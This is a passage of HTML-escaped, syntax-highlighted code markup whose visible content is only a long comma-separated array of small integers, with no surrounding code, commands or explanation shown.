class=&#34;mi&#34;&gt;42&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;60&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;87&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;63&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;58&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;87&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;63&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;58&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;87&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;63&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;83&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;43&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;87&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;93&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;90&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;38&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;66&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;63&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;58&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;91&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;63&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;83&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;43&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;87&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;42&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;60&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;87&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;93&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;87&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;66&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;48&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;66&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;63&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;50&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;91&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;63&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;87&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;93&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;45&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;66&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;48&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;40&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;70&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;63&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;91&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;63&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;87&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;93&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;81&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;48&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;63&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;91&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;63&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;83&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;63&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;87&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;93&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;87&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;75&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;49&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;48&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;49&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;50&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;91&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;63&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;50&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;87&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;42&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;90&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;87&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;93&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;81&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;40&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;48&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;40&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;70&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;63&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;91&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;63&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;68&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;87&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;93&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;81&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;48&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;66&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;63&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;50&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;40&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;63&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;91&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;63&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;63&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;87&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;63&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;68&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;87&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;50&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;40&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;42&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;50&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;49&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;42&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;91&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;63&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;50&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;70&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;42&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;91&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;63&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;75&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;87&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;93&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;80&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;58&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;66&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;86&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;27&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;88&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;77&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;80&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;38&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;40&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;81&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;76&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;81&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;50&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;81&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;66&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;40&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;90&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;58&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;81&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;40&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;75&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;27&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;75&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;88&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;32&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;45&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span 